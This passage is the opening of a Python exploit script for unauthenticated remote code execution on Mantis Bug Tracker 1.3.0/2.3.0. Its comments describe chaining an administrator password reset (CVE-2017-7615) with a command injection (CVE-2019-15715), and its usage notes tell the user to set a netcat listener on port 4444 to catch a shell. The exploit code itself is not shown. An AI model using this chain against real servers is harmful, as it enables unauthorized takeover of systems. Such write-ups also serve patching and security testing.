CVE-2019-15715.py

# Exploit Title: Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)
# Date: 2020-09-17
# Vulnerability Discovery: hyp3rlinx, permanull
# Exploit Author: Nikolas Geiselman
# Vendor Homepage: https://mantisbt.org/
# Software Link: https://mantisbt.org/download.php
# Version: 1.3.0/2.3.0
# Tested on: Ubuntu 16.04/19.10/20.04
# CVE : CVE-2017-7615, CVE-2019-15715

'''

This exploit chains together two CVE's to achieve unauthenticated remote code execution.
The first portion of this exploit resets the Administrator password (CVE-2017-7615) discovered by John Page a.k.a hyp3rlinx, this portion was modified from the original https://www.exploit-db.com/exploits/41890.
The second portion of this exploit takes advantage of a command injection vulnerability (CVE-2019-15715) discovered by 'permanull' (see references).

Usage:
Set netcat listener on port 4444
Send exploit with "python exploit.py"

Example output:
